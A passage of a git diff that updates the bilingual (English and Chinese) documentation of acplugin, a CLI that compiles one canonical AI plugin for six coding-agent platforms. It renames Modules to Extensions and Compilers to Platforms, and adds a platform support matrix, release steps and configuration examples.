延迟导入。稳定诊断会隐藏外部异常、本机绝对路径和可识别的凭据形式。 普通公开门面和 CLI 启动过程不会导入 `migration/`。主包 tarball 不包含私有包导入或私有运行时依赖;`scripts/verify-release.mjs` 会在外部消费者中验证这一点。 diff --git a/llmdoc/guides/commenting.zh-CN.md b/llmdoc/guides/commenting.zh-CN.md index f1beb34..a101850 100644 --- a/llmdoc/guides/commenting.zh-CN.md +++ b/llmdoc/guides/commenting.zh-CN.md @@ -16,13 +16,13 @@ ## 关键逻辑注释 -事务提交与回滚、路径包含检查、凭据脱敏、Artifact 冲突、Module 生命周期、平台降级和非显然算法必须解释“为什么这样处理”和“必须保持什么条件”。不要使用“遍历数组”“返回结果”“创建变量”之类复述语句的注释。 +事务提交与回滚、路径包含检查、凭据脱敏、Artifact 冲突、Extension 生命周期、平台降级和非显然算法必须解释“为什么这样处理”和“必须保持什么条件”。不要使用“遍历数组”“返回结果”“创建变量”之类复述语句的注释。 嵌入模板字符串的运行时代码只在生成器边界和关键协议分支处解释,避免把大量开发注释写入最终 Plugin 产物。 ## 自动守卫 -`pnpm run comments:check` 使用 TypeScript 语法树检查已纳入覆盖范围的文件。受检查的声明必须存在中文前置注释;覆盖范围记录在 `scripts/comment-coverage.json`。 +`pnpm run comments:check` 使用根目录显式安装的 TypeScript 6 兼容 Compiler API 检查已纳入覆盖范围的文件;Package 编译和类型检查仍由 TypeScript 7 完成。受检查的声明必须存在中文前置注释;覆盖范围记录在 `scripts/comment-coverage.json`。 每完成一个子系统,就把其源码文件加入覆盖列表。已经进入列表的文件不得通过删除注释或改写为空洞注释来绕过检查。方法内部注释的准确性由代码 review 验收。 diff --git a/llmdoc/guides/release.md b/llmdoc/guides/release.md index ab907df..76f589f 100644 --- a/llmdoc/guides/release.md +++ b/llmdoc/guides/release.md @@ -5,23 +5,23 @@ The public packages are released at one version: - `@tokenroll/acplugin` -- `@tokenroll/acplugin-module-hooks` -- `@tokenroll/acplugin-module-mcp` +- `@tokenroll/acplugin-extension-hooks` +- `@tokenroll/acplugin-extension-mcp` -Core, the built-in Compilers, and the test workspace are private and must not be published or appear as packed runtime dependencies. Every npm publication, Registry check, Git tag, and GitHub Release is performed manually by an authorized maintainer. The repository has no automated publication workflow. +Core, the six built-in Platform packages, and the test workspace are private and must not be published or appear as packed runtime dependencies. Every npm publication, Registry check, Git tag, and GitHub Release is performed manually by an authorized maintainer. The repository has no automated publication workflow. ## Repository workflows `Check` runs automatically for pull requests and performs only lint and typecheck. -`Patch` is manually dispatched from the repository default branch with a required target-branch input. The target branch must contain at least one `.changeset/*.md` file other than `README.md`. The workflow checks out that branch, consumes all Changesets with `pnpm version-packages`, verifies that the fixed public cohort version changed, refreshes the pnpm lockfile, runs lint and typecheck, and creates or updates a version PR whose base is the selected target branch. +`Patch` is manually dispatched from the repository default branch with a required target-branch input. The target branch must contain at least one effective Changeset that produces a public-package release; an empty Changeset does not pass the gate. Before any version write, the workflow checks the release plan with `pnpm changeset status`. It then consumes all Changesets with `pnpm version-packages`, verifies that the fixed public cohort version changed, refreshes the pnpm lockfile, runs lint and typecheck, and creates or updates a version PR whose base is the selected target branch. The repository setting **Actions → General → Workflow permissions → Allow GitHub Actions to create and approve pull requests** must be enabled for `Patch` to create the PR with `GITHUB_TOKEN`. The workflow does not publish packages or create release references. ## Prepare a release 1. Add a Changeset for user-visible changes and version the fixed package group with `pnpm version-packages`. -2. Confirm all three public manifests have the same version and Module peer dependencies still use `workspace:^` in the repository. +2. Confirm all three public manifests have the same version and Extension peer dependencies still use `workspace:^` in the repository. 3. Run: ```bash @@ -30,7 +30,7 @@ The repository setting **Actions → General → Workflow permissions → Allow pnpm run release:verify ``` -`release:verify` packs all three packages in a temporary directory, checks their manifests and contents, installs the tarballs into a clean external consumer, then typechecks, imports, validates, and builds that consumer. It never publishes. +`release:verify` packs all three packages in a temporary directory, runs type-resolution and package-lint checks on the actual tarballs, checks their manifests and contents, installs them into a clean external consumer, then imports/builds the default project and a generated six-Platform/two-Extension scaffold. It never publishes. Commit the exact verified release preparation to `main` before packing the artifacts that will be published. @@ -40,8 +40,8 @@ Create a private temporary directory outside the repository and pack in dependen ```bash ACPLUGIN_RELEASE_DIR="$(mktemp -d)" -pnpm --filter @tokenroll/acplugin-module-hooks pack --pack-destination "$ACPLUGIN_RELEASE_DIR" -pnpm --filter @tokenroll/acplugin-module-mcp pack --pack-destination "$ACPLUGIN_RELEASE_DIR" +pnpm --filter @tokenroll/acplugin-extension-hooks pack --pack-destination "$ACPLUGIN_RELEASE_DIR" +pnpm --filter @tokenroll/acplugin-extension-mcp pack --pack-destination "$ACPLUGIN_RELEASE_DIR" pnpm --filter @tokenroll/acplugin pack --pack-destination "$ACPLUGIN_RELEASE_DIR" ``` @@ -51,8 +51,8 @@ Inspect the three generated tarball paths before continuing. They must be produc An authorized TokenRoll npm organization maintainer publishes each generated tarball with 2FA. Use this strict order: -1. `@tokenroll/acplugin-module-hooks` -2. `@tokenroll/acplugin-module-mcp` +1. `@tokenroll/acplugin-extension-hooks` +2. `@tokenroll/acplugin-extension-mcp` 3. `@tokenroll/acplugin` For each tarball, run the publication and exact-version check manually before continuing: diff --git a/llmdoc/guides/release.zh-CN.md b/llmdoc/guides/release.zh-CN.md index 5c546b6..7817332 100644 --- a/llmdoc/guides/release.zh-CN.md +++ b/llmdoc/guides/release.zh-CN.md @@ -5,23 +5,23 @@ 以下公开包使用同一个版本发布: - `@tokenroll/acplugin` -- `@tokenroll/acplugin-module-hooks` -- `@tokenroll/acplugin-module-mcp` +- `@tokenroll/acplugin-extension-hooks` +- `@tokenroll/acplugin-extension-mcp` -Core、内置 Compiler 和测试工作区是私有包,不能发布,也不能作为运行时依赖出现在 tarball 中。所有 npm 发布、Registry 检查、Git Tag 和 GitHub Release 均由获得授权的维护者手动执行。仓库没有自动发布工作流。 +Core、六个内置 Platform 包和测试工作区是私有包,不能发布,也不能作为运行时依赖出现在 tarball 中。所有 npm 发布、Registry 检查、Git Tag 和 GitHub Release 均由获得授权的维护者手动执行。仓库没有自动发布工作流。 ## 仓库工作流 `Check` 在 Pull Request 创建时自动执行,并且只运行 lint 和 typecheck。 -`Patch` 从仓库默认分支手动触发,必须提供目标分支。目标分支必须至少包含一个除 `README.md` 外的 `.changeset/*.md` 文件。工作流会检出目标分支,使用 `pnpm version-packages` 消费全部 Changeset,验证固定公开包组的版本发生了变化,刷新 pnpm lockfile,运行 lint 和 typecheck,然后创建或更新一个以所选目标分支为 base 的版本 PR。 +`Patch` 从仓库默认分支手动触发,必须提供目标分支。目标分支必须至少包含一个让公开包产生版本变更的有效 Changeset;空 Changeset 不满足门禁。工作流会检出目标分支,使用 `pnpm changeset status` 在任何版本写入前验证发布计划,再用 `pnpm version-packages` 消费全部 Changeset,验证固定公开包组的版本发生了变化,刷新 pnpm lockfile,运行 lint 和 typecheck,然后创建或更新一个以所选目标分支为 base 的版本 PR。 为了让 `Patch` 使用 `GITHUB_TOKEN` 创建 PR,必须启用仓库设置 **Actions → General → Workflow permissions → Allow GitHub Actions to create and approve pull requests**。该工作流不会发布包,也不会创建任何 Release 引用。 ## 准备发布 1. 为用户可见变更添加 Changeset,并通过 `pnpm version-packages` 更新固定包组版本; -2. 确认三个公开清单版本完全相同,且仓库中的 Module Peer Dependency 仍使用 `workspace:^`; +2. 确认三个公开清单版本完全相同,且仓库中的 Extension Peer Dependency 仍使用 `workspace:^`; 3. 运行: ```bash @@ -30,7 +30,7 @@ Core、内置 Compiler 和测试工作区是私有包,不能发布,也不能 pnpm run release:verify ``` -`release:verify` 会在临时目录中打包三个包,检查清单与内容,把 tarball 安装到干净的外部消费者,然后对消费者执行类型检查、导入、验证和构建。它绝不会发布任何内容。 +`release:verify` 会在临时目录中打包三个包,对实际 tarball 执行类型解析与 Package Lint,检查清单和内容,再安装到干净的外部消费者中,验证默认工程以及自动生成的六 Platform/两 Extension 脚手架。它绝不会发布任何内容。 在打包最终待发布产物前,必须把经过精确验证的发布准备提交到 `main`。 @@ -40,8 +40,8 @@ Core、内置 Compiler 和测试工作区是私有包,不能发布,也不能 ```bash ACPLUGIN_RELEASE_DIR="$(mktemp -d)" -pnpm --filter @tokenroll/acplugin-module-hooks pack --pack-destination "$ACPLUGIN_RELEASE_DIR" -pnpm --filter @tokenroll/acplugin-module-mcp pack --pack-destination "$ACPLUGIN_RELEASE_DIR" +pnpm --filter @tokenroll/acplugin-extension-hooks pack --pack-destination "$ACPLUGIN_RELEASE_DIR" +pnpm --filter @tokenroll/acplugin-extension-mcp pack --pack-destination "$ACPLUGIN_RELEASE_DIR" pnpm --filter @tokenroll/acplugin pack --pack-destination "$ACPLUGIN_RELEASE_DIR" ``` @@ -51,8 +51,8 @@ pnpm --filter @tokenroll/acplugin pack --pack-destination "$ACPLUGIN_RELEASE_DIR 由获得授权的 TokenRoll npm 组织维护者使用 2FA 发布每个 tarball。严格遵循以下顺序: -1. `@tokenroll/acplugin-module-hooks` -2. `@tokenroll/acplugin-module-mcp` +1. `@tokenroll/acplugin-extension-hooks` +2. `@tokenroll/acplugin-extension-mcp` 3. `@tokenroll/acplugin` 每个 tarball 发布后,必须手动检查精确版本,再继续下一个: diff --git a/llmdoc/guides/usage.md b/llmdoc/guides/usage.md index 93d3b9c..13503a9 100644 --- a/llmdoc/guides/usage.md +++ b/llmdoc/guides/usage.md @@ -2,7 +2,7 @@ > [中文对照](usage.zh-CN.md) -acplugin projects author one canonical plugin and compile installable Claude Code and Codex packages. Node.js 20 or newer and pnpm are required. +acplugin projects author one canonical plugin and compile Platform-owned deliveries for Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi. Node.js 20 or newer and pnpm are required. ## Create a project @@ -13,7 +13,15 @@ pnpm install pnpm build ``` -`init` can add the official Hooks and MCP Modules with `--hooks` and `--mcp`. The default configuration builds both targets and uses `src/`, `public/`, and `dist/`. +`init` can add the official Hooks and MCP Extensions with `--hooks` and `--mcp`. The default configuration builds Claude Code and Codex and uses `src/`, `public/`, and `dist/`. Select any supported set explicitly: + +```bash +pnpm dlx @tokenroll/acplugin init my-plugin --yes \ + --platform claude-code codex cursor antigravity opencode pi \ + --hooks --mcp +``` + +An enabled Extension adds its dependency, import, config entry, and empty source directory; `init` never invents a Hook handler or MCP server. ## Author Components @@ -31,7 +39,7 @@ export default defineConfig({ }); ``` -There is no Instructions Component. Hooks and MCP directories are accepted only when their official Module is enabled. +There is no Instructions Component. Hooks and MCP directories are accepted only when their official Extension is enabled. The TypeScript config and enabled Hook/MCP descriptors are trusted executable project code. Review them like build scripts. Legacy Migration sources are scanned as untrusted data and are not executed as descriptors. @@ -44,12 +52,28 @@ pnpm exec acplugin build pnpm exec acplugin dev ``` -- `validate` generates and materializes every selected target in temporary storage without changing `dist`. +- `validate` generates and materializes every selected Platform in temporary storage without changing `dist`. - `inspect` adds Artifact details without changing `dist`. -- `build` atomically replaces the complete managed output only after every target succeeds. -- `dev` watches inputs, coalesces changes, and retains the last successful output after a failed rebuild. +- `build` atomically replaces the complete managed output only after every Platform succeeds. +- `dev` watches config, canonical resources, Public, descriptors, and registered bundle imports; it coalesces changes, closes watcher-readiness gaps with a catch-up build, and retains the last successful output after a failed rebuild. + +Common options are `--config`, `--platform `, `--mode`, `--no-strict`, and `--json`. Strict mode is on by default. For example, a Codex build containing an Agent fails because Codex can only receive an explicit degraded Skill fallback; use `--no-strict` when that result is intentional. + +To configure non-default Platforms in an existing project, use the exported factories: + +```ts +import { antigravity, claudeCode, codex, cursor, defineConfig, openCode, pi } from '@tokenroll/acplugin'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [claudeCode(), codex(), cursor(), antigravity(), openCode(), pi()], + build: { strict: false }, +}); +``` -Common options are `--config`, repeatable `--target`, `--mode`, `--no-strict`, and `--json`. Strict mode is on by default. For example, a Codex build containing an Agent fails because Codex can only receive an explicit degraded Skill fallback; use `--no-strict` when that result is intentional. +OpenCode output is a workspace overlay and Pi output is an npm package. They are not mislabeled as static Plugins. See the [Platform support matrix](../reference/conversion-matrix.md) before enabling strict multi-Platform builds. ## Public files @@ -75,4 +99,4 @@ pnpm exec acplugin migrate ./legacy-project ./new-plugin \ --description "Migrated plugin" ``` -Migration also accepts supported GitHub forms, single Claude plugins, and marketplaces. Use `--dry-run` to avoid destination writes and `--strict` to fail on any degraded or unmapped resource. Non-portable resources are preserved under `.acplugin-migration/unmapped/` with a report; Migration never writes in place. +Migration also accepts supported GitHub forms, single Claude plugins, and marketplaces. `--plugin ` emits one project at the destination root; `--all` emits a pnpm workspace. Use `--dry-run` to avoid destination writes and `--strict` to fail on any degraded or unmapped resource. Generated projects run through public config loading and real Extension/Platform validation. Non-portable resources are preserved under `.acplugin-migration/unmapped/` with a report; Migration never writes in place. diff --git a/llmdoc/guides/usage.zh-CN.md b/llmdoc/guides/usage.zh-CN.md index 88fd8dc..8623790 100644 --- a/llmdoc/guides/usage.zh-CN.md +++ b/llmdoc/guides/usage.zh-CN.md @@ -2,7 +2,7 @@ > [English version](usage.md) -acplugin 工程只创作一份规范 Plugin,然后编译出可安装的 Claude Code 和 Codex Plugin。运行环境需要 Node.js 20 或更高版本以及 pnpm。 +acplugin 工程只创作一份规范 Plugin,然后为 Claude Code、Codex、Cursor、Antigravity、OpenCode 和 Pi 编译由各 Platform 拥有的交付产物。运行环境需要 Node.js 20 或更高版本以及 pnpm。 ## 创建工程 @@ -13,7 +13,15 @@ pnpm install pnpm build ``` -`init` 可通过 `--hooks` 和 `--mcp` 加入官方 Hooks/MCP Module。默认配置会构建两个目标,并使用 `src/`、`public/` 和 `dist/` 目录。 +`init` 可通过 `--hooks` 和 `--mcp` 加入官方 Hooks/MCP Extension。默认配置会构建 Claude Code 和 Codex,并使用 `src/`、`public/` 和 `dist/` 目录。也可以显式选择任意受支持组合: + +```bash +pnpm dlx @tokenroll/acplugin init my-plugin --yes \ + --platform claude-code codex cursor antigravity opencode pi \ + --hooks --mcp +``` + +启用 Extension 只会添加依赖、Import、配置项和空源码目录;`init` 不会伪造 Hook Handler 或 MCP Server。 ## 创作 Components @@ -31,9 +39,9 @@ export default defineConfig({ }); ``` -acplugin 不提供 Instructions Component。只有启用对应官方 Module 后,工程才允许存在 Hooks 或 MCP 目录。 +acplugin 不提供 Instructions Component。只有启用对应官方 Extension 后,工程才允许存在 Hooks 或 MCP 目录。 -TypeScript 配置以及已启用的 Hook/MCP 描述文件都是受信任、可执行的项目代码,应当像构建脚本一样接受 review。Legacy Migration 来源会作为不可信数据扫描,不会作为描述 Module 执行。 +TypeScript 配置以及已启用的 Hook/MCP 描述文件都是受信任、可执行的项目代码,应当像构建脚本一样接受 review。Legacy Migration 来源会作为不可信数据扫描,不会作为描述文件执行。 ## 验证与构建 @@ -44,12 +52,28 @@ pnpm exec acplugin build pnpm exec acplugin dev ``` -- `validate` 会在临时目录中生成并物化全部选中目标,不修改 `dist`; +- `validate` 会在临时目录中生成并物化全部选中 Platform,不修改 `dist`; - `inspect` 会增加 Artifact 明细,但不修改 `dist`; -- `build` 只有在全部目标成功后才会原子替换完整受管输出; -- `dev` 监听输入并合并变更;重建失败时保留最后一次成功输出。 +- `build` 只有在全部 Platform 成功后才会原子替换完整受管输出; +- `dev` 监听配置、规范资源、Public、descriptor 和登记的 Bundle import,合并变更并用 watcher ready 后的补偿构建关闭竞态窗口;重建失败时保留最后一次成功输出。 + +通用选项包括 `--config`、`--platform `、`--mode`、`--no-strict` 和 `--json`。默认启用严格模式。例如,包含 Agent 的 Codex 构建会失败,因为 Codex 只能接收显式降级的 Skill 回退;当该结果符合预期时,可使用 `--no-strict` 明确接受。 + +现有工程通过公开工厂配置非默认 Platform: + +```ts +import { antigravity, claudeCode, codex, cursor, defineConfig, openCode, pi } from '@tokenroll/acplugin'; + +export default defineConfig({ + name: 'my-plugin', + version: '1.0.0', + description: 'Reusable AI workflows.', + platforms: [claudeCode(), codex(), cursor(), antigravity(), openCode(), pi()], + build: { strict: false }, +}); +``` -通用选项包括 `--config`、可重复的 `--target`、`--mode`、`--no-strict` 和 `--json`。默认启用严格模式。例如,包含 Agent 的 Codex 构建会失败,因为 Codex 只能接收显式降级的 Skill 回退;当该结果符合预期时,可使用 `--no-strict` 明确接受。 +OpenCode 产物是 Workspace Overlay,Pi 产物是 npm Package,不会被错误标记为静态 Plugin。启用严格多平台构建前应先查看[平台支持矩阵](../reference/conversion-matrix.zh-CN.md)。 ## Public 文件 @@ -75,4 +99,4 @@ pnpm exec acplugin migrate ./legacy-project ./new-plugin \ --description "Migrated plugin" ``` -Migration 也支持受支持的 GitHub 来源格式、单个 Claude Plugin 和 Marketplace。使用 `--dry-run` 可避免写入目标目录,使用 `--strict` 可在存在任何降级或未映射资源时失败。不可移植资源会随报告保存在 `.acplugin-migration/unmapped/`;Migration 绝不会原地修改来源。 +Migration 也支持受支持的 GitHub 来源格式、单个 Claude Plugin 和 Marketplace。`--plugin ` 在目标根输出一个工程,`--all` 输出 pnpm workspace。使用 `--dry-run` 可避免写入目标目录,使用 `--strict` 可在存在任何降级或未映射资源时失败。生成工程会经过公开配置加载和真实 Extension/Platform 验证。不可移植资源会随报告保存在 `.acplugin-migration/unmapped/`;Migration 绝不会原地修改来源。 diff --git a/llmdoc/index.md b/llmdoc/index.md index e9c7ed5..a035fce 100644 --- a/llmdoc/index.md +++ b/llmdoc/index.md @@ -1,6 +1,6 @@ # acplugin documentation -acplugin is a canonical AI Plugin framework and CLI. Authors write Commands, Skills, Agents, and optional Module sources once, then build complete installable Claude Code and Codex plugins. +acplugin is a canonical AI Plugin framework and CLI. Authors write Commands, Skills, Agents, and optional Extension sources once, then build Platform-owned deliveries for Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi. 关键稳定文档同时维护英文基准与中文对照;行为变化需要同步更新两种语言。 @@ -16,7 +16,7 @@ acplugin is a canonical AI Plugin framework and CLI. Authors write Commands, Ski ## Architecture -- [System architecture](architecture/system.md) · [系统架构](architecture/system.zh-CN.md) — Core-owned lifecycle, Compilers, Modules, Artifact graph, and managed output transaction. +- [System architecture](architecture/system.md) · [系统架构](architecture/system.zh-CN.md) — Core-owned lifecycle, Platforms, Extensions, Adapter boundaries, Artifact graph, and managed output transaction. ## Reference diff --git a/llmdoc/overview/project.md b/llmdoc/overview/project.md index 5685845..3b4e6a9 100644 --- a/llmdoc/overview/project.md +++ b/llmdoc/overview/project.md @@ -4,23 +4,23 @@ ## Identity -acplugin is a canonical AI Plugin framework and CLI. Authors maintain one framework-owned source layout and compile complete installable plugins for Claude Code and Codex. +acplugin is a canonical AI Plugin framework and CLI. Authors maintain one framework-owned source layout and compile Platform-owned deliveries for Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi. The public release cohort is: - `@tokenroll/acplugin` -- `@tokenroll/acplugin-module-hooks` -- `@tokenroll/acplugin-module-mcp` +- `@tokenroll/acplugin-extension-hooks` +- `@tokenroll/acplugin-extension-mcp` -Core, both built-in Compilers, and the integration-test workspace are private packages. The main public package bundles Core and the Compilers so consumers never depend on `@acplugin/*`. +Core, built-in Platform implementations, and the integration-test workspace are private packages. The main public package bundles Core and Platforms so consumers never depend on `@acplugin/*`. ## Authoring boundary -Core Components are Commands, Skills, and Agents. `acplugin.config.ts` defines top-level `name`, `version`, `description`, targets, Public copy behavior, Modules, and strictness. +Core Components are Commands, Skills, and Agents. `acplugin.config.ts` defines top-level `name`, `version`, `description`, Platforms, Public copy behavior, Extensions, and strictness. -Instructions are intentionally outside the installable Plugin boundary. Hooks and MCP are optional Modules: enabling one extends the same Core-owned lifecycle rather than replacing the Compiler. +Instructions are intentionally outside the installable Plugin boundary. Hooks and MCP are optional Extensions: enabling one joins the same Core-owned lifecycle through its own Platform Adapters rather than replacing a Platform. -Default targets are Claude Code and Codex. Claude supports all Core Components natively. Codex transforms Commands to explicit Skills and degrades Agents to model-only fallback Skills because installable Codex plugins cannot register custom project/user Agents. +Default Platforms are Claude Code and Codex. Cursor and Antigravity are opt-in static Plugins, OpenCode is an opt-in workspace overlay, and Pi is an opt-in npm package. Every Platform reports native transformations and semantic losses instead of claiming a lowest-common-denominator format. ## Runtime and tooling @@ -31,7 +31,7 @@ Default targets are Claude Code and Codex. Claude supports all Core Components n - Rolldown for local Hook/MCP executable bundles - Vitest for private repository tests -The root ESLint toolchain temporarily retains the TypeScript 6 API required by `typescript-eslint`; every actual workspace package resolves the shared TypeScript 7 compiler from the pnpm catalog. +The TypeScript 7 compiler is installed across workspaces through the cataloged `@typescript/native` alias, so every package `tsc` script uses 7.x. The root keeps the official `@typescript/typescript6` compatibility API under the `typescript` name only for tools such as typescript-eslint and the comment AST checker, because TypeScript 7 no longer exposes the legacy JavaScript compiler API. Vitest, tsdown, Rolldown, and Node types are also shared through the catalog; package-specific runtime and lint dependencies stay in the package that owns them. The CLI entry is `packages/acplugin/src/cli.ts`; the facade/config loader is `packages/acplugin/src/index.ts`. diff --git a/llmdoc/overview/project.zh-CN.md b/llmdoc/overview/project.zh-CN.md index befc7fa..758c15c 100644 --- a/llmdoc/overview/project.zh-CN.md +++ b/llmdoc/overview/project.zh-CN.md @@ -4,23 +4,23 @@ ## 项目定位 -acplugin 是一套规范化 AI Plugin 框架和 CLI。作者只需维护一份由框架定义的源码结构,即可为 Claude Code 和 Codex 编译出完整、可安装的 Plugin。 +acplugin 是一套规范化 AI Plugin 框架和 CLI。作者只需维护一份由框架定义的源码结构,即可为 Claude Code、Codex、Cursor、Antigravity、OpenCode 和 Pi 编译由各 Platform 拥有的交付产物。 公开发布的固定包组包括: - `@tokenroll/acplugin` -- `@tokenroll/acplugin-module-hooks` -- `@tokenroll/acplugin-module-mcp` +- `@tokenroll/acplugin-extension-hooks` +- `@tokenroll/acplugin-extension-mcp` -Core、两个内置 Compiler 和集成测试工作区都是私有包。主公开包会内联 Core 和 Compiler,因此消费者不会依赖任何 `@acplugin/*` 包。 +Core、内置 Platform 实现和集成测试工作区都是私有包。主公开包会内联 Core 和 Platform,因此消费者不会依赖任何 `@acplugin/*` 包。 ## 创作边界 -Core Component 包括 Commands、Skills 和 Agents。`acplugin.config.ts` 在顶层定义 `name`、`version`、`description`、目标平台、Public 复制行为、Modules 和严格度。 +Core Component 包括 Commands、Skills 和 Agents。`acplugin.config.ts` 在顶层定义 `name`、`version`、`description`、Platforms、Public 复制行为、Extensions 和严格度。 -Instructions 被有意排除在可安装 Plugin 边界之外。Hooks 和 MCP 是可选 Module:启用 Module 只会扩展同一套 Core 生命周期,不会替换 Compiler。 +Instructions 被有意排除在可安装 Plugin 边界之外。Hooks 和 MCP 是可选 Extension:启用后通过其自有 Platform Adapter 加入同一套 Core 生命周期,不会替换 Platform。 -默认目标是 Claude Code 和 Codex。Claude Code 原生支持全部 Core Component。Codex 会把 Command 转换成需要显式调用的 Skill,并把 Agent 降级成仅保留模型指导的回退 Skill,因为可安装 Codex Plugin 无法注册项目级或用户级自定义 Agent。 +默认 Platform 是 Claude Code 和 Codex。Cursor 与 Antigravity 是可选静态 Plugin,OpenCode 是可选 Workspace Overlay,Pi 是可选 npm Package。每个平台都会明确报告原生转换和语义损失,不会伪装成最低公共格式。 ## 运行时与工具链 @@ -31,7 +31,7 @@ Instructions 被有意排除在可安装 Plugin 边界之外。Hooks 和 MCP 是 - Rolldown 负责本地 Hook/MCP 可执行文件 Bundle - Vitest 负责仓库内部测试 -根目录 ESLint 工具链暂时保留 `typescript-eslint` 所需的 TypeScript 6 API;所有实际工作区包都从 pnpm catalog 解析共享的 TypeScript 7 编译器。 +各 Workspace 通过 catalog 中的 `@typescript/native` 别名安装 TypeScript 7 编译器,因此所有 Package 的 `tsc` Script 都实际使用 7.x。由于 TypeScript 7 不再暴露旧 JavaScript Compiler API,根目录只为 typescript-eslint 和注释 AST 检查器把官方 `@typescript/typescript6` 兼容 API 安装为 `typescript`。Vitest、tsdown、Rolldown 和 Node 类型同样通过 catalog 共享;平台专属运行时与 Lint 依赖仍由实际使用它们的 Package 独立声明。 CLI 入口是 `packages/acplugin/src/cli.ts`;公开门面和配置加载器位于 `packages/acplugin/src/index.ts`。 diff --git a/llmdoc/reference/conversion-matrix.md b/llmdoc/reference/conversion-matrix.md index 19479e1..842da06 100644 --- a/llmdoc/reference/conversion-matrix.md +++ b/llmdoc/reference/conversion-matrix.md @@ -1,36 +1,65 @@ -# Target support matrix +# Platform support matrix > [中文对照](conversion-matrix.zh-CN.md) -This matrix describes canonical acplugin 1.0 builds. The tolerant converters retained below `packages/acplugin/src/migration/legacy/` are Migration implementation details, not additional build targets. +This matrix describes canonical acplugin 1.0 builds. Tolerant conversion code below `packages/acplugin/src/migration/legacy/` belongs only to Migration and is not another build path. -| Capability | Claude Code | Codex | -| --- | --- | --- | -| Skills | Native | Native | -| Commands | Native | Explicit `command-` fallback Skill | -| Agents | Native | Explicit `agent-` model-only fallback Skill | -| Public files | Target-root copy | Target-root copy | -| Hooks Module | Native supported events | Native portable events | -| Remote HTTP MCP | Native declaration | Native declaration | -| Local stdio MCP | Bundled Node 20 ESM | Bundled Node 20 ESM | +## Delivery and Components -Commands are supported on Codex through a semantic transformation. Agents are degraded because installable Codex plugins cannot register custom project/user Agents. With the default strict setting, an Agent therefore fails the Codex target; `--no-strict` explicitly accepts the generated fallback and structured compatibility warning. +| Capability | Claude Code | Codex | Cursor | Antigravity | OpenCode | Pi | +| --- | --- | --- | --- | --- | --- | --- | +| Delivery unit | Installable Plugin | Installable Plugin | Installable Plugin | Installable Plugin | Workspace overlay | npm package | +| Skill | Native | Native | Native | Native | Native | Native | +| Command | Native Command | Transform to explicit `command-` Skill | Native Command | Transform to explicit `command-` Skill | Native workspace Command | Transform to Prompt Template | +| Agent | Native Agent | Degraded `agent-` guidance Skill | Native Subagent; some model/capability fields degrade | Degraded `agent-` guidance Skill | Native Subagent; capabilities transform to tools/permissions | Degraded `agent-` guidance Skill | +| Public files | Plugin-root copy | Plugin-root copy | Plugin-root copy | Plugin-root copy | Workspace-root copy | Package-root copy | +| Separate Marketplace distribution | Optional | Optional | Not generated | Not generated | Not applicable | Not applicable | -Hooks and MCP are not Core Components. They join the same build lifecycle only when `@tokenroll/acplugin-module-hooks` or `@tokenroll/acplugin-module-mcp` is configured. Source under `src/hooks` or `src/mcp` without the corresponding Module is an error. +`native` means the Platform has an equivalent installable resource. `transform` means acplugin emits a different native resource while preserving the workflow intent. `degraded` means an important runtime guarantee cannot be preserved. Strict mode rejects any degraded or unsupported result; use `--no-strict` only after reviewing the structured compatibility report. + +OpenCode is intentionally a workspace overlay and does not receive a fabricated generic `package.json`. Pi is a real npm package and its manifest must not leak workspace/private fields. Antigravity emits only Manifest fields confirmed by its public contract. + +## Hooks Extension + +| Portable event | Claude Code | Codex | Cursor | Antigravity | OpenCode | Pi | +| --- | --- | --- | --- | --- | --- | --- | +| `SessionStart` | Native | Native | Transform | Native | Native | Native | +| `SessionEnd` | Native | Native | Transform | Native | Degraded | Native | +| `UserPromptSubmit` | Native | Native | Transform | Unsupported | Native | Native | +| `PreToolUse` | Native | Native | Transform | Native | Native | Native | +| `PermissionRequest` | Native | Native | Unsupported | Unsupported | Unsupported | Unsupported | +| `PostToolUse` | Native | Native | Transform | Native | Native | Native | +| `PreCompact` | Native | Native | Transform | Native | Unsupported | Native | +| `PostCompact` | Native | Native | Unsupported | Unsupported | Native | Native | +| `SubagentStart` | Native | Native | Transform | Unsupported | Unsupported | Unsupported | +| `SubagentStop` | Native | Native | Transform | Unsupported | Unsupported | Unsupported | +| `Stop` | Native | Native | Transform | Unsupported | Degraded | Degraded | + +Platform-only events remain explicitly scoped and do not expand the portable union. A supported event can still report a field-level degradation when the host ignores a meaningful matcher or has no stable status-message field. Empty Hooks produce no runtime or Manifest artifact. + +## MCP Extension + +| Transport | Claude Code | Codex | Cursor | Antigravity | OpenCode | Pi | +| --- | --- | --- | --- | --- | --- | --- | +| Remote Streamable HTTP | Native | Native | Native | Native | Native | Unsupported | +| Bundled local stdio | Native | Native | Unsupported | Unsupported | Native local process | Unsupported | + +Remote MCP authoring is declarative: the author supplies an endpoint and secret references. Local stdio MCP is executable content: the author supplies a complete `server.ts`, which the Extension bundles once as Node 20 ESM and reuses only on Platforms with a verified install-root contract. No Adapter reads secret environment values during build. ## Source and output ownership | Concern | Source of truth | | --- | --- | -| Config, Components, Modules, Artifacts | `packages/core/src/types.ts` | +| Config, Components, lifecycle contracts, Artifacts | `packages/core/src/types.ts`, `contracts.ts` | | Discovery and dependency graph | `packages/core/src/scanner.ts` | -| Lifecycle and target dispatch | `packages/core/src/builder.ts` | +| Lifecycle and Platform dispatch | `packages/core/src/lifecycle.ts` | | Transactional output | `packages/core/src/transaction.ts` | -| Claude output schema | `packages/compiler-claude-code/src/index.ts` | -| Codex output schema and fallbacks | `packages/compiler-codex/src/index.ts` | -| Hooks discovery/runtime bundling | `packages/module-hooks/src/index.ts` | -| MCP declaration/runtime bundling | `packages/module-mcp/src/index.ts` | -| Public facade, config loading | `packages/acplugin/src/index.ts` | -| CLI and Migration boundary | `packages/acplugin/src/cli.ts` | - -Compilers own target paths and manifests. Modules may contribute Artifacts, uniquely owned top-level manifest fields, and compatibility entries, but cannot replace a Compiler or write `dist` directly. +| Platform output contracts | `packages/platforms//src/` | +| Hooks discovery, bundling, and Platform Adapters | `packages/extensions/hooks/src/` | +| MCP discovery, bundling, and Platform Adapters | `packages/extensions/mcp/src/` | +| Public facade and config loading | `packages/acplugin/src/index.ts` | +| CLI and isolated Migration boundary | `packages/acplugin/src/cli.ts`, `migration/` | + +Platforms own output paths, Documents, manifests, schemas, validation, and delivery-unit type. Extension Adapters may add owned Artifacts, patch declared add-only Document extension points, and report 